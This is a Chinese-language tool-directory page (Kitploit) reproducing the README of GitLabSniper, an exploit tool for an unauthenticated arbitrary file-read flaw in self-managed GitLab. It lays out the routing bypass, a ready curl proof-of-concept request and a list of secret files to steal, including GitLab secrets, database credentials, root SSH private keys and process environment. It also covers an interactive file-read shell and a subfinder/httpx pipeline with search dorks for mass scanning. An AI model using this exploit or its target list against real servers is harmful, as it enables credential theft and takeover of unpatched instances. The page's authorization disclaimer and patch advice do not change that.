Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
GitLabSniper — 单文件 Python 扫描器和漏洞利用工具,针对 CVE-2026-85706——自管理 GitLab CE/EE 中的未认证任意文件读取漏洞,具备项目枚举、战利品路径和交互式 shell。 | Kitploit
工具/GitHubGitHub/ynsmroztas/gitlabsniper
侦察漏洞扫描器漏洞利用脚本与自动化Web应用程序漏洞利用数据泄露信息收集Web安全渗透测试
GitHubynsmroztas/gitlabsniper

GitLabSniper

单文件 Python 扫描器和漏洞利用工具,针对 CVE-2026-85706——自管理 GitLab CE/EE 中的未认证任意文件读取漏洞,具备项目枚举、战利品路径和交互式 shell。

216小时49分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

GitLabSniper — CVE-2026-85706 未认证文件读取流水线

GitLabSniper

CVE-2026-85706 — GitLab CE/EE 未认证任意文件读取
检测 · 公开项目枚举 · 战利品 · 交互式 shell · subfinder/httpx 流水线


作者: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
网站: ynsmroztas.github.io
邮箱: [email protected]

仅可在你拥有或获得明确授权测试的系统上使用(漏洞赏金 / VDP / 书面合同)。


这是什么

GitLabSniper.py 是一个单文件 Python 扫描/利用工具,针对 CVE-2026-85706:自管理 GitLab 社区版和企业版中的未认证本地文件读取漏洞。

它不会止步于“版本看起来受影响”。它会触发 Workhorse 解析器差异绕过,对 Rails 响应进行分类,并且仅当 400 响应体在 invalid %-encoding (...) 中包含文件字节时才打印 FILE LEAK。

区间版本
受影响18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1
已修复19.1.8 / 19.2.6 / 19.3.2 (2026-09-10)
不在范围内gitlab.com · GitLab Dedicated

漏洞原理

三个仓库端点位于 Workhorse requestBodyUploader 之后:

  • POST /api/v4/projects/:id/repository/commits
  • POST /api/v4/projects/:id/repository/files/:file_path
  • PUT /api/v4/projects/:id/repository/files/:file_path

Rails 接收原始的 file.path 字段,并在 authenticate! 之前执行 File.open。require_gitlab_workhorse! 在这里并不是真正的关卡:Workhorse 已经为它代理的任何内容打上了有效的 Gitlab-Workhorse-Api-Request JWT。

Workhorse 本应首先重写上传内容。它的路由正则匹配 EscapedPath() 以及一个从不进行百分号解码的 path.Clean 克隆。而 Puma 在 Grape 路由之前会进行 %XX 解码。

root@kitploit:~
攻击者
  POST /api/v4/projects/35/repository/%63ommits
  POST /api/v4/projects/35/repository/commits/          ← 尾部斜杠也能绕过
       ?file=&file.path=/etc/passwd&file.size=1
       &Content-Type=application/x-www-form-urlencoded
        │
        ▼
Workhorse     正则看到 "%63ommits" / "commits/"  → 未命中(不重写)
        │
        ▼
Puma          解码 %63 → commits                 → 路由到 Rails
        │
        ▼
Rails         File.open(params[:file][:path])       → 在认证之前
        │
        ▼
Rack          parse_nested_query(File.read(path))
              不是 %HH 的孤立 "%"
        │
        ▼
HTTP 400      Invalid parameter: invalid %-encoding (<原始文件字节>)

file= 为空可满足 requires :file, WorkhorseFile(空 → nil)。泄露通道是 urlencoded 分支。JSON/Oj 不会以相同方式回显文件字节——该工具始终发送 Content-Type=application/x-www-form-urlencoded。

//、/./、%2F 和 ; 不能绕过:path.Clean 会规范化前两者,而 Puma 会拒绝 %2F。

项目 id 不是“从哪个仓库窃取文件”。file.path 是服务器绝对路径。id 只是到达易受攻击控制器的 URL 片段。

这就是该工具枚举 GET /api/v4/projects 并跳过受限 id 的原因。

确认泄露需要响应体中出现以下子串:

root@kitploit:~
invalid %-encoding (

没有孤立 % 的文件仍可能被打开(read-noecho / 稍后 branch is required),但不会回显。那是一个预言机,而不是可报告的转储。


功能

  • GitLab 指纹识别(HTML / x-gitlab-* / 登录页)+ 可见时的版本范围
  • 公开项目枚举(GET /api/v4/projects)
  • 自动选取非受限项目 id(回退 1..7)
  • Workhorse 绕过矩阵
    • %63ommits · %72epository · %66iles
    • 尾部 / · .json
    • 对 files 使用 POST + PUT
  • 响应分类器:leak · leak-fragment · read-noecho · missing · project-gate · rewrite ·

安装

root@kitploit:~
pip install requests
python3 GitLabSniper.py -h

Python 3.10+。无其他依赖。


用法

单主机

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto

交互式 shell

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --shell
root@kitploit:~
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit

流水线(subfinder + httpx)

root@kitploit:~
subfinder -d example.com -silent \
  | httpx -silent -sc -td -title \
  | python3 GitLabSniper.py --pipe --auto -o hits.jsonl

subfinder -d example.com -silent \
  | httpx -silent -json \
  | python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl

# stdin 不是 TTY → 隐含 --pipe
cat hosts.txt | python3 GitLabSniper.py --auto

解析器接受:

  • https://gitlab.example.com
  • https://gitlab.example.com [200] [GitLab] [nginx]
  • httpx -json 对象(url / status_code)
  • 裸 host 和 host:port
  • 跳过 [0] / 超时 / 空行

参数

退出码:0 泄露 · 1 仅预言机 / 流水线中无泄露 · 2 无可用信号。


判定

不要仅凭 read-noecho 就提交严重漏洞。


默认战利品路径

root@kitploit:~
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ

回显时影响最大:secrets.yml、gitlab-secrets.json、database.yml(secret_key_base、otp_key_base、数据库密码)。


手动 PoC(与该工具发出的请求相同)

root@kitploit:~
curl -sk -X POST \
  "https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"

易受攻击的实例会返回类似以下的 JSON:

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n  gitlab:\n    host: gitlab.example.com\n ... )"}

在某些主机上 %63ommits 返回 401,而 /repository/commits/(尾部斜杠)才是泄露的形式。该工具会遍历所有变体。


侦察辅助

root@kitploit:~
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"

配合 subfinder | httpx | GitLabSniper.py --pipe --auto 使用。


免责声明

本仓库用于授权安全测试和修复后的防御性验证。你需对测试范围负责。

如果你运行着受影响范围内的自管理 GitLab 实例:请立即升级到 19.1.8 / 19.2.6 / 19.3.2。在访问日志中搜索带有 file.path 查询参数的 POST /api/v4/projects/*/repository/commits。


致谢

漏洞由 s3ntago 通过 GitLab HackerOne 报告。

本工具所基于的撰写文章和原始 PoC:

https://github.com/guneykabel/cve-2026-85706

感谢 guneykabel 发布了清晰的分类器(leak / missing / project-gate / rewrite)以及 Workhorse ↔ Puma 差异解释。GitLabSniper 在该模型基础上封装了项目枚举、战利品、shell 和侦察流水线。

GitLab 公告 / 补丁:CE/EE 19.1.8、19.2.6、19.3.2。


作者

Yunus Emre Öztaş · mitsec

  • X — x.com/ynsmroztas
  • GitHub — github.com/ynsmroztas
  • Web — ynsmroztas.github.io
  • Mail — [email protected]
下载工具
端点项目要求
files (%66iles)任意 id 通常都有效——File.open 在项目检查之前
commits (%63ommits、commits/、commits.json)需要一个匿名用户可以 read_code 的项目。否则返回 404 Project Not Found
noroute
  • --auto 战利品列表(hostname、passwd、secrets.yml、gitlab-secrets.json、gitlab.rb、database.yml、ssh 密钥、environ)
  • 首次泄露后固定可用的请求形式
  • 交互式 shell(cat、loot、secrets、passwd、project <id>、curl)
  • 流水线:原始主机、httpx -sc -td -title、httpx -json、去除 ANSI
  • JSON / JSONL 报告(-o)
  • 彩色 HIT 横幅 + 可直接粘贴的 curl PoC
  • 参数含义
    -u / -t / --target单个基础 URL
    --pipe从 stdin 读取目标
    -f / --list主机文件
    --file要读取的一个绝对路径
    --auto / --loot高价值 GitLab 文件列表
    --shell交互式文件读取 shell
    --project-id强制指定项目 id(默认:枚举 + 回退)
    --max-projects限制枚举/回退 id 数量(默认 8)
    --force即使指纹较弱也扫描
    --threads流水线工作线程数(默认 8)
    --timeout秒数(默认 15)
    -ohits.json 或 hits.jsonl
    -q静默
    --no-banner不显示横幅
    标签含义可报告?
    leakinvalid %-encoding ( + 文件字节是——已确认
    leak-fragment部分回显可能,附上响应体
    read-noecho打开后返回 401 / branch is required,文件中无 %仅预言机
    missinglocal file not present——绕过已到达磁盘存在性预言机
    project-gate404 Project Not Found尝试另一个公开 id
    rewriteWorkhorse 重写了请求体(Invalid json)此形式已失效
    noroute普通 404已修复或路径错误
    other500 / 残留声称前先转储响应体